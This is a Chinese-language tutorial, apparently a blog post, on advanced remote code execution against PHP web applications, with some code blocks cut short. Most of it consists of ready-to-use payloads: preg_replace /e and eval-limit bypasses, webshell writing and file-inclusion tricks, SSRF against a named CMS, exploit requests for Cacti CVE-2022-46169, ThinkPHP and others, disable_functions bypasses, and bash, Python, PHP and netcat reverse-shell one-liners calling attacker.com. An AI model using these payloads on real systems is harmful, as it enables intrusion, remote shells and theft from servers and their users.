RCE高级利用
RCE高级利用
preg_replace e模式深入分析
漏洞原理
preg_replace函数在PHP 7.3之前支持/e模式,该模式会将替换字符串作为PHP代码执行。
1 | function complex($re, $str) { |
执行过程分析
第一个坑:后向引用
正则表达式中的\1表示第一个子匹配项。在替换字符串中,\\1会被转义为\1,然后作为后向引用使用。
第二个坑:PHP命名规则
PHP中变量名不能包含.等特殊字符,这些字符会被替换成_。因此?.*={${phpinfo()}}中的?.*会被替换,导致正则匹配错误。
第三个坑:可变变量
PHP中双引号包裹的字符串可以解析变量,而单引号则不行。{${phpinfo()}}中的phpinfo()会被当作变量先执行。
执行流程:
- 传入
?\S*={${phpinfo()}} - 正则匹配到
{${phpinfo()}} phpinfo()先执行,返回true(1)- 变成
${1} - 替换字符串为
strtolower("\\1") \1被替换为匹配内容{${phpinfo()}}- 最终执行
strtolower("{${phpinfo()}}") phpinfo()再次执行
Payload构造
基础Payload
1 | ?\S*={${phpinfo()}} |
原理说明:\S*匹配非空白字符,可以避免.被替换的问题。
调用自定义函数
1 | ?\S*=${getFlag()}&cmd=phpinfo(); |
原理说明:先调用getFlag()函数,该函数中包含@eval($_GET['cmd']),然后通过cmd参数执行任意代码。
注意事项
- /e模式在PHP 7.3中被彻底废弃
- 需要正则表达式能够匹配到恶意内容
- 双引号中的变量会被解析,可以利用可变变量特性
eval长度限制绕过
场景分析
1 | $param = $_REQUEST['param']; |
限制条件:
- 长度小于17
- 不包含eval和assert
命令执行绕过
反引号方法
1 | param=`$_GET[1]`;&1=bash |
原理说明:反引号执行命令,长度为12,不包含eval和assert。
exec方法
1 | param=exec($_GET[1]); |
原理说明:exec执行命令,长度为16,不包含eval和assert。
文件包含绕过
原理说明:利用file_put_contents逐字符写入文件,最后包含执行。
写入脚本
1 | param=$_GET[a](N,a,8);&a=file_put_contents |
原理说明:
N被当作常量,未定义则转换为字符串’N’a被转换为字符串’a’8表示追加模式(FILE_APPEND)
逐字符写入
1 | # 写入webshell的base64编码:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw== |
包含执行
1 | param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N |
原理说明:使用php://filter伪协议对文件进行base64解码后包含。
变长参数绕过
原理说明:PHP 5.6+支持变长参数,可以使用func(...$arr)将数组展开为多个参数。
Payload
1 | POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1 |
执行流程:
$_GET包含[1=>['test', 'var_dump($_SERVER);'], 2=>'assert']...$_GET展开为['test', 'var_dump($_SERVER);'], 'assert'usort函数接收两个参数:数组和回调函数- 回调函数
assert被调用,参数为'var_dump($_SERVER);' - 执行
assert('var_dump($_SERVER);')
原理说明:usort的第一个参数是数组,第二个参数是回调函数。通过展开数组,将恶意代码作为回调函数的参数传入。
PHP5+shell打破禁锢
场景分析
1 | if(isset($_GET['code'])){ |
限制条件:
- 长度不超过35
- 不包含字母、数字、
$和_
PHP7解决方案
原理说明:PHP7支持($a)();这种动态函数调用方式。
1 | (~%8F%97%8F%96%91%99%90)(); |
原理说明:
~是取反运算符%8F%97%8F%96%91%99%90是phpinfo取反后的URL编码(~%8F%97%8F%96%91%99%90)得到phpinfo字符串()调用该函数
PHP5+shell解决方案
原理说明:利用shell的.命令和glob通配符执行上传的临时文件。
上传临时文件
1 | POST /upload.php HTTP/1.1 |
原理说明:PHP会将上传的文件保存到/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。
执行临时文件
1 | `. /???/????????[@-[]`; |
原理说明:
?><?=退出PHP模式,进入shell模式.命令执行文件中的命令(不需要执行权限)/???/????????[@-[]使用glob通配符匹配文件/???/匹配3个字符的目录(/tmp/)????????匹配8个字符的文件名[@-[]匹配大写字母(ASCII码在@和[之间)
Glob通配符详解
*- 匹配0个及以上任意字符?- 匹配1个任意字符[^x]- 匹配不是x的字符[0-9]- 匹配数字[@-[]- 匹配大写字母(ASCII 64-91)
原理说明:PHP临时文件名包含大写字母,而/bin/、/lib/等目录下的文件名都是小写,通过[@-[]可以精准匹配到PHP临时文件。
SSRF结合RCE
原理说明
SSRF(Server-Side Request Forgery,服务器端请求伪造)可以结合RCE漏洞,通过服务器发起请求来执行命令。
迅睿CMS案例分析
漏洞点
1 | // API控制器下的qrcode方法 |
原理说明:getimagesize函数如果接收URL地址,会尝试请求该URL。没有判断URL必须是图片类型,可以传入PHP URL。
利用步骤
- 在VPS上创建PHP文件
1 |
|
原理说明:当服务器访问这个文件时,会重定向到本地的flag.php,并通过GET参数执行命令,将结果发送到VPS。
- 构造请求URL
1 | /?s=api&c=api&m=qrcode&text=1111&thumb=http://vps:port/x.php |
原理说明:通过thumb参数传入VPS上的PHP文件URL,服务器会请求该URL并执行重定向。
- 执行命令
1 | // 读取根目录 |
原理说明:通过base64编码避免特殊字符问题,最后执行/readflag程序获取flag。
其他SSRF场景
file_get_contents
1 | $url = $_GET['url']; |
curl
1 | $url = $_GET['url']; |
fsockopen
1 | $fp = fsockopen($_GET['host'], 80); |
文件包含漏洞利用
本地文件包含
原理说明:利用include、require等函数包含本地文件执行代码。
包含日志文件
1 | ?file=/var/log/apache2/access.log |
原理说明:在User-Agent中注入PHP代码,访问后代码会被写入日志文件,然后包含该日志文件执行代码。
包含上传文件
1 | ?file=/tmp/phpXXXXXX |
原理说明:上传图片,在图片中插入PHP代码,然后包含上传的临时文件。
包含session文件
1 | ?file=/var/lib/php/sessions/sess_PHPSESSID |
原理说明:在Cookie中设置PHPSESSID,并在session中写入代码,然后包含session文件。
远程文件包含
原理说明:当allow_url_include开启时,可以包含远程文件。
包含远程文件
1 | ?file=http://attacker.com/shell.php |
使用伪协议
1 | ?file=data://text/plain,<?php system('ls');?> |
原理说明:
data://伪协议可以直接包含数据php://input可以读取POST请求体- base64编码可以绕过某些过滤
实际漏洞案例分析
Cacti CVE-2022-46169
漏洞描述
Cacti 1.2.17-1.2.22版本存在命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过校验并执行任意命令。
漏洞代码
1 | // remote_agent.php |
利用步骤
创建Graph(需要POLLER_ACTION_SCRIPT_PHP采集器)
发送恶意请求
1 | GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` |
原理说明:
X-Forwarded-For: 127.0.0.1绕过IP校验poller_id参数直接拼接到命令中- 反引号执行命令
- 验证执行
1 | docker exec -it cacti_container ls -la /tmp/success |
其他常见CVE
Struts2系列
1 | action=<redirect:http://attacker.com> |
WebLogic XMLDecoder
1 | <java version="1.4.0"> |
ThinkPHP5远程代码执行
1 | ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami |
绕过disable_functions
原理说明
PHP的disable_functions可以禁用危险函数,但有多种方法可以绕过。
LD_PRELOAD绕过
原理说明:通过LD_PRELOAD环境变量加载恶意动态链接库,在程序启动时执行代码。
Payload
1 |
|
原理说明:mail函数会调用系统sendmail,sendmail会加载LD_PRELOAD指定的库,执行其中的代码。
Shellshock绕过
原理说明:利用Bash的Shellshock漏洞(CVE-2014-6271)。
Payload
1 |
|
FFI绕过(PHP 7.4+)
原理说明:使用FFI(Foreign Function Interface)调用系统函数。
Payload
1 |
|
ImageMagick绕过
原理说明:利用ImageMagick的漏洞执行命令。
Payload
1 |
|
反弹Shell
Bash反弹
1 | bash -i >& /dev/tcp/attacker.com/1234 0>&1 |
原理说明:
-i交互式shell>&将标准输出和错误输出重定向/dev/tcp/attacker.com/1234TCP连接0>&1将标准输入重定向到标准输出
Python反弹
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
PHP反弹
1 | php -r '$sock=fsockopen("attacker.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
NC反弹
1 | nc -e /bin/sh attacker.com 1234 |
注意:某些版本的nc不支持-e参数。
无NC反弹
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 1234 >/tmp/f |
原理说明:
mkfifo创建命名管道cat /tmp/f读取管道内容/bin/sh -i启动交互式shell|nc将输出发送到攻击者>/tmp/f将接收到的数据写入管道


